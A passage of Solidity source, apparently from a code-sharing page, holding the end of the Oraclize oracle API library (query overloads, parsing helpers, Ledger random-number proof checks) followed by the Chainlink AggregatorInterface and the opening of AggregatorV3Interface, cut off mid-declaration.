return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
string[] memory dynargs = new string[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = ba2cbor(_argN); | |
return oraclize.queryN.value(price)(0, _datasource, args); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource); | |
if (price > 1 ether + tx.gasprice * 200000) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = ba2cbor(_argN); | |
return oraclize.queryN.value(price)(_timestamp, _datasource, args); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = ba2cbor(_argN); | |
return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
uint price = oraclize.getPrice(_datasource, _gasLimit); | |
if (price > 1 ether + tx.gasprice * _gasLimit) { | |
return 0; // Unexpectedly high price | |
} | |
bytes memory args = ba2cbor(_argN); | |
return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](1); | |
dynargs[0] = _args[0]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](2); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](3); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](4); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_timestamp, _datasource, dynargs); | |
} | |
function oraclize_query(uint _timestamp, string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); | |
} | |
function oraclize_query(string memory _datasource, bytes[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { | |
bytes[] memory dynargs = new bytes[](5); | |
dynargs[0] = _args[0]; | |
dynargs[1] = _args[1]; | |
dynargs[2] = _args[2]; | |
dynargs[3] = _args[3]; | |
dynargs[4] = _args[4]; | |
return oraclize_query(_datasource, dynargs, _gasLimit); | |
} | |
function oraclize_setProof(byte _proofP) oraclizeAPI internal { | |
return oraclize.setProofType(_proofP); | |
} | |
function oraclize_cbAddress() oraclizeAPI internal returns (address _callbackAddress) { | |
return oraclize.cbAddress(); | |
} | |
function getCodeSize(address _addr) view internal returns (uint _size) { | |
assembly { | |
_size := extcodesize(_addr) | |
} | |
} | |
function oraclize_setCustomGasPrice(uint _gasPrice) oraclizeAPI internal { | |
return oraclize.setCustomGasPrice(_gasPrice); | |
} | |
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32 _sessionKeyHash) { | |
return oraclize.randomDS_getSessionPubKeyHash(); | |
} | |
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) { | |
bytes memory tmp = bytes(_a); | |
uint160 iaddr = 0; | |
uint160 b1; | |
uint160 b2; | |
for (uint i = 2; i < 2 + 2 * 20; i += 2) { | |
iaddr *= 256; | |
b1 = uint160(uint8(tmp[i])); | |
b2 = uint160(uint8(tmp[i + 1])); | |
if ((b1 >= 97) && (b1 <= 102)) { | |
b1 -= 87; | |
} else if ((b1 >= 65) && (b1 <= 70)) { | |
b1 -= 55; | |
} else if ((b1 >= 48) && (b1 <= 57)) { | |
b1 -= 48; | |
} | |
if ((b2 >= 97) && (b2 <= 102)) { | |
b2 -= 87; | |
} else if ((b2 >= 65) && (b2 <= 70)) { | |
b2 -= 55; | |
} else if ((b2 >= 48) && (b2 <= 57)) { | |
b2 -= 48; | |
} | |
iaddr += (b1 * 16 + b2); | |
} | |
return address(iaddr); | |
} | |
function strCompare(string memory _a, string memory _b) internal pure returns (int _returnCode) { | |
bytes memory a = bytes(_a); | |
bytes memory b = bytes(_b); | |
uint minLength = a.length; | |
if (b.length < minLength) { | |
minLength = b.length; | |
} | |
for (uint i = 0; i < minLength; i ++) { | |
if (a[i] < b[i]) { | |
return -1; | |
} else if (a[i] > b[i]) { | |
return 1; | |
} | |
} | |
if (a.length < b.length) { | |
return -1; | |
} else if (a.length > b.length) { | |
return 1; | |
} else { | |
return 0; | |
} | |
} | |
function indexOf(string memory _haystack, string memory _needle) internal pure returns (int _returnCode) { | |
bytes memory h = bytes(_haystack); | |
bytes memory n = bytes(_needle); | |
if (h.length < 1 || n.length < 1 || (n.length > h.length)) { | |
return -1; | |
} else if (h.length > (2 ** 128 - 1)) { | |
return -1; | |
} else { | |
uint subindex = 0; | |
for (uint i = 0; i < h.length; i++) { | |
if (h[i] == n[0]) { | |
subindex = 1; | |
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { | |
subindex++; | |
} | |
if (subindex == n.length) { | |
return int(i); | |
} | |
} | |
} | |
return -1; | |
} | |
} | |
function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) { | |
return strConcat(_a, _b, "", "", ""); | |
} | |
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) { | |
return strConcat(_a, _b, _c, "", ""); | |
} | |
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) { | |
return strConcat(_a, _b, _c, _d, ""); | |
} | |
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) { | |
bytes memory _ba = bytes(_a); | |
bytes memory _bb = bytes(_b); | |
bytes memory _bc = bytes(_c); | |
bytes memory _bd = bytes(_d); | |
bytes memory _be = bytes(_e); | |
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); | |
bytes memory babcde = bytes(abcde); | |
uint k = 0; | |
uint i = 0; | |
for (i = 0; i < _ba.length; i++) { | |
babcde[k++] = _ba[i]; | |
} | |
for (i = 0; i < _bb.length; i++) { | |
babcde[k++] = _bb[i]; | |
} | |
for (i = 0; i < _bc.length; i++) { | |
babcde[k++] = _bc[i]; | |
} | |
for (i = 0; i < _bd.length; i++) { | |
babcde[k++] = _bd[i]; | |
} | |
for (i = 0; i < _be.length; i++) { | |
babcde[k++] = _be[i]; | |
} | |
return string(babcde); | |
} | |
function safeParseInt(string memory _a) internal pure returns (uint _parsedInt) { | |
return safeParseInt(_a, 0); | |
} | |
function safeParseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { | |
bytes memory bresult = bytes(_a); | |
uint mint = 0; | |
bool decimals = false; | |
for (uint i = 0; i < bresult.length; i++) { | |
if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { | |
if (decimals) { | |
if (_b == 0) break; | |
else _b--; | |
} | |
mint *= 10; | |
mint += uint(uint8(bresult[i])) - 48; | |
} else if (uint(uint8(bresult[i])) == 46) { | |
require(!decimals, 'More than one decimal encountered in string!'); | |
decimals = true; | |
} else { | |
revert("Non-numeral character encountered in string!"); | |
} | |
} | |
if (_b > 0) { | |
mint *= 10 ** _b; | |
} | |
return mint; | |
} | |
function parseInt(string memory _a) internal pure returns (uint _parsedInt) { | |
return parseInt(_a, 0); | |
} | |
function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) { | |
bytes memory bresult = bytes(_a); | |
uint mint = 0; | |
bool decimals = false; | |
for (uint i = 0; i < bresult.length; i++) { | |
if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) { | |
if (decimals) { | |
if (_b == 0) { | |
break; | |
} else { | |
_b--; | |
} | |
} | |
mint *= 10; | |
mint += uint(uint8(bresult[i])) - 48; | |
} else if (uint(uint8(bresult[i])) == 46) { | |
decimals = true; | |
} | |
} | |
if (_b > 0) { | |
mint *= 10 ** _b; | |
} | |
return mint; | |
} | |
function uint2str(uint _i) internal pure returns (string memory _uintAsString) { | |
if (_i == 0) { | |
return "0"; | |
} | |
uint j = _i; | |
uint len; | |
while (j != 0) { | |
len++; | |
j /= 10; | |
} | |
bytes memory bstr = new bytes(len); | |
uint k = len - 1; | |
while (_i != 0) { | |
bstr[k--] = byte(uint8(48 + _i % 10)); | |
_i /= 10; | |
} | |
return string(bstr); | |
} | |
function stra2cbor(string[] memory _arr) internal pure returns (bytes memory _cborEncoding) { | |
safeMemoryCleaner(); | |
Buffer.buffer memory buf; | |
Buffer.init(buf, 1024); | |
buf.startArray(); | |
for (uint i = 0; i < _arr.length; i++) { | |
buf.encodeString(_arr[i]); | |
} | |
buf.endSequence(); | |
return buf.buf; | |
} | |
function ba2cbor(bytes[] memory _arr) internal pure returns (bytes memory _cborEncoding) { | |
safeMemoryCleaner(); | |
Buffer.buffer memory buf; | |
Buffer.init(buf, 1024); | |
buf.startArray(); | |
for (uint i = 0; i < _arr.length; i++) { | |
buf.encodeBytes(_arr[i]); | |
} | |
buf.endSequence(); | |
return buf.buf; | |
} | |
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32 _queryId) { | |
require((_nbytes > 0) && (_nbytes <= 32)); | |
_delay *= 10; // Convert from seconds to ledger timer ticks | |
bytes memory nbytes = new bytes(1); | |
nbytes[0] = byte(uint8(_nbytes)); | |
bytes memory unonce = new bytes(32); | |
bytes memory sessionKeyHash = new bytes(32); | |
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); | |
assembly { | |
mstore(unonce, 0x20) | |
/* | |
The following variables can be relaxed. | |
Check the relaxed random contract at https://github.com/oraclize/ethereum-examples | |
for an idea on how to override and replace commit hash variables. | |
*/ | |
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) | |
mstore(sessionKeyHash, 0x20) | |
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) | |
} | |
bytes memory delay = new bytes(32); | |
assembly { | |
mstore(add(delay, 0x20), _delay) | |
} | |
bytes memory delay_bytes8 = new bytes(8); | |
copyBytes(delay, 24, 8, delay_bytes8, 0); | |
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; | |
bytes32 queryId = oraclize_query("random", args, _customGasLimit); | |
bytes memory delay_bytes8_left = new bytes(8); | |
assembly { | |
let x := mload(add(delay_bytes8, 0x20)) | |
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) | |
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) | |
} | |
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2]))); | |
return queryId; | |
} | |
function oraclize_randomDS_setCommitment(bytes32 _queryId, bytes32 _commitment) internal { | |
oraclize_randomDS_args[_queryId] = _commitment; | |
} | |
function verifySig(bytes32 _tosignh, bytes memory _dersig, bytes memory _pubkey) internal returns (bool _sigVerified) { | |
bool sigok; | |
address signer; | |
bytes32 sigr; | |
bytes32 sigs; | |
bytes memory sigr_ = new bytes(32); | |
uint offset = 4 + (uint(uint8(_dersig[3])) - 0x20); | |
sigr_ = copyBytes(_dersig, offset, 32, sigr_, 0); | |
bytes memory sigs_ = new bytes(32); | |
offset += 32 + 2; | |
sigs_ = copyBytes(_dersig, offset + (uint(uint8(_dersig[offset - 1])) - 0x20), 32, sigs_, 0); | |
assembly { | |
sigr := mload(add(sigr_, 32)) | |
sigs := mload(add(sigs_, 32)) | |
} | |
(sigok, signer) = safer_ecrecover(_tosignh, 27, sigr, sigs); | |
if (address(uint160(uint256(keccak256(_pubkey)))) == signer) { | |
return true; | |
} else { | |
(sigok, signer) = safer_ecrecover(_tosignh, 28, sigr, sigs); | |
return (address(uint160(uint256(keccak256(_pubkey)))) == signer); | |
} | |
} | |
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes memory _proof, uint _sig2offset) internal returns (bool _proofVerified) { | |
bool sigok; | |
// Random DS Proof Step 6: Verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) | |
bytes memory sig2 = new bytes(uint(uint8(_proof[_sig2offset + 1])) + 2); | |
copyBytes(_proof, _sig2offset, sig2.length, sig2, 0); | |
bytes memory appkey1_pubkey = new bytes(64); | |
copyBytes(_proof, 3 + 1, 64, appkey1_pubkey, 0); | |
bytes memory tosign2 = new bytes(1 + 65 + 32); | |
tosign2[0] = byte(uint8(1)); //role | |
copyBytes(_proof, _sig2offset - 65, 65, tosign2, 1); | |
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; | |
copyBytes(CODEHASH, 0, 32, tosign2, 1 + 65); | |
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); | |
if (!sigok) { | |
return false; | |
} | |
// Random DS Proof Step 7: Verify the APPKEY1 provenance (must be signed by Ledger) | |
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; | |
bytes memory tosign3 = new bytes(1 + 65); | |
tosign3[0] = 0xFE; | |
copyBytes(_proof, 3, 65, tosign3, 1); | |
bytes memory sig3 = new bytes(uint(uint8(_proof[3 + 65 + 1])) + 2); | |
copyBytes(_proof, 3 + 65, sig3.length, sig3, 0); | |
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); | |
return sigok; | |
} | |
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string memory _result, bytes memory _proof) internal returns (uint8 _returnCode) { | |
// Random DS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1) | |
if ((_proof[0] != "L") || (_proof[1] != "P") || (uint8(_proof[2]) != uint8(1))) { | |
return 1; | |
} | |
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); | |
if (!proofVerified) { | |
return 2; | |
} | |
return 0; | |
} | |
function matchBytes32Prefix(bytes32 _content, bytes memory _prefix, uint _nRandomBytes) internal pure returns (bool _matchesPrefix) { | |
bool match_ = true; | |
require(_prefix.length == _nRandomBytes); | |
for (uint256 i = 0; i< _nRandomBytes; i++) { | |
if (_content[i] != _prefix[i]) { | |
match_ = false; | |
} | |
} | |
return match_; | |
} | |
function oraclize_randomDS_proofVerify__main(bytes memory _proof, bytes32 _queryId, bytes memory _result, string memory _contextName) internal returns (bool _proofVerified) { | |
// Random DS Proof Step 2: The unique keyhash has to match with the sha256 of (context name + _queryId) | |
uint ledgerProofLength = 3 + 65 + (uint(uint8(_proof[3 + 65 + 1])) + 2) + 32; | |
bytes memory keyhash = new bytes(32); | |
copyBytes(_proof, ledgerProofLength, 32, keyhash, 0); | |
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(_contextName, _queryId)))))) { | |
return false; | |
} | |
bytes memory sig1 = new bytes(uint(uint8(_proof[ledgerProofLength + (32 + 8 + 1 + 32) + 1])) + 2); | |
copyBytes(_proof, ledgerProofLength + (32 + 8 + 1 + 32), sig1.length, sig1, 0); | |
// Random DS Proof Step 3: We assume sig1 is valid (it will be verified during step 5) and we verify if '_result' is the _prefix of sha256(sig1) | |
if (!matchBytes32Prefix(sha256(sig1), _result, uint(uint8(_proof[ledgerProofLength + 32 + 8])))) { | |
return false; | |
} | |
// Random DS Proof Step 4: Commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. | |
// This is to verify that the computed args match with the ones specified in the query. | |
bytes memory commitmentSlice1 = new bytes(8 + 1 + 32); | |
copyBytes(_proof, ledgerProofLength + 32, 8 + 1 + 32, commitmentSlice1, 0); | |
bytes memory sessionPubkey = new bytes(64); | |
uint sig2offset = ledgerProofLength + 32 + (8 + 1 + 32) + sig1.length + 65; | |
copyBytes(_proof, sig2offset - 64, 64, sessionPubkey, 0); | |
bytes32 sessionPubkeyHash = sha256(sessionPubkey); | |
if (oraclize_randomDS_args[_queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))) { //unonce, nbytes and sessionKeyHash match | |
delete oraclize_randomDS_args[_queryId]; | |
} else return false; | |
// Random DS Proof Step 5: Validity verification for sig1 (keyhash and args signed with the sessionKey) | |
bytes memory tosign1 = new bytes(32 + 8 + 1 + 32); | |
copyBytes(_proof, ledgerProofLength, 32 + 8 + 1 + 32, tosign1, 0); | |
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) { | |
return false; | |
} | |
// Verify if sessionPubkeyHash was verified already, if not.. let's do it! | |
if (!oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]) { | |
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(_proof, sig2offset); | |
} | |
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; | |
} | |
/* | |
The following function has been written by Alex Beregszaszi, use it under the terms of the MIT license | |
*/ | |
function copyBytes(bytes memory _from, uint _fromOffset, uint _length, bytes memory _to, uint _toOffset) internal pure returns (bytes memory _copiedBytes) { | |
uint minLength = _length + _toOffset; | |
require(_to.length >= minLength); // Buffer too small. Should be a better way? | |
uint i = 32 + _fromOffset; // NOTE: the offset 32 is added to skip the `size` field of both bytes variables | |
uint j = 32 + _toOffset; | |
while (i < (32 + _fromOffset + _length)) { | |
assembly { | |
let tmp := mload(add(_from, i)) | |
mstore(add(_to, j), tmp) | |
} | |
i += 32; | |
j += 32; | |
} | |
return _to; | |
} | |
/* | |
The following function has been written by Alex Beregszaszi, use it under the terms of the MIT license | |
Duplicate Solidity's ecrecover, but catching the CALL return value | |
*/ | |
function safer_ecrecover(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal returns (bool _success, address _recoveredAddress) { | |
/* | |
We do our own memory management here. Solidity uses memory offset | |
0x40 to store the current end of memory. We write past it (as | |
writes are memory extensions), but don't update the offset so | |
Solidity will reuse it. The memory used here is only needed for | |
this context. | |
FIXME: inline assembly can't access return values | |
*/ | |
bool ret; | |
address addr; | |
assembly { | |
let size := mload(0x40) | |
mstore(size, _hash) | |
mstore(add(size, 32), _v) | |
mstore(add(size, 64), _r) | |
mstore(add(size, 96), _s) | |
ret := call(3000, 1, 0, size, 128, size, 32) // NOTE: we can reuse the request memory because we deal with the return code. | |
addr := mload(size) | |
} | |
return (ret, addr); | |
} | |
/* | |
The following function has been written by Alex Beregszaszi, use it under the terms of the MIT license | |
*/ | |
function ecrecovery(bytes32 _hash, bytes memory _sig) internal returns (bool _success, address _recoveredAddress) { | |
bytes32 r; | |
bytes32 s; | |
uint8 v; | |
if (_sig.length != 65) { | |
return (false, address(0)); | |
} | |
/* | |
The signature format is a compact form of: | |
{bytes32 r}{bytes32 s}{uint8 v} | |
Compact means, uint8 is not padded to 32 bytes. | |
*/ | |
assembly { | |
r := mload(add(_sig, 32)) | |
s := mload(add(_sig, 64)) | |
/* | |
Here we are loading the last 32 bytes. We exploit the fact that | |
'mload' will pad with zeroes if we overread. | |
There is no 'mload8' to do this, but that would be nicer. | |
*/ | |
v := byte(0, mload(add(_sig, 96))) | |
/* | |
Alternative solution: | |
'byte' is not working due to the Solidity parser, so lets | |
use the second best option, 'and' | |
v := and(mload(add(_sig, 65)), 255) | |
*/ | |
} | |
/* | |
albeit non-transactional signatures are not specified by the YP, one would expect it | |
to match the YP range of [27, 28] | |
geth uses [0, 1] and some clients have followed. This might change, see: | |
https://github.com/ethereum/go-ethereum/issues/2053 | |
*/ | |
if (v < 27) { | |
v += 27; | |
} | |
if (v != 27 && v != 28) { | |
return (false, address(0)); | |
} | |
return safer_ecrecover(_hash, v, r, s); | |
} | |
function safeMemoryCleaner() internal pure { | |
assembly { | |
let fmem := mload(0x40) | |
codecopy(fmem, codesize, sub(msize, fmem)) | |
} | |
} | |
} | |
/* | |
END ORACLIZE_API | |
*/ |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
interface AggregatorInterface { | |
function latestAnswer() | |
external | |
view | |
returns ( | |
int256 | |
); | |
function latestTimestamp() | |
external | |
view | |
returns ( | |
uint256 | |
); | |
function latestRound() | |
external | |
view | |
returns ( | |
uint256 | |
); | |
function getAnswer( | |
uint256 roundId | |
) | |
external | |
view | |
returns ( | |
int256 | |
); | |
function getTimestamp( | |
uint256 roundId | |
) | |
external | |
view | |
returns ( | |
uint256 | |
); | |
event AnswerUpdated( | |
int256 indexed current, | |
uint256 indexed roundId, | |
uint256 updatedAt | |
); | |
event NewRound( | |
uint256 indexed roundId, | |
address indexed startedBy, | |
uint256 startedAt | |
); | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
interface AggregatorV3Interface { | |
function decimals() | |
external | |
view | |
returns ( | |
uint8 | |
); | |
function description() | |
external | |
view | |
returns ( | |
string memory | |
); | |
function version() | |
external | |
view | |
returns ( | |
uint256 | |
); | |
function getRoundData( | |
uint80 _roundId | |
) | |
external | |
view | |
returns ( | |
uint80 roundId, | |
int256 answer, | |
uint256 startedAt, | |
uint256 updatedAt, | |
uint80 answeredInRound | |
); | |
function latestRoundData() | |
external | |
view | |
returns ( | |
uint80 roundId, | |
int256 answer, | |
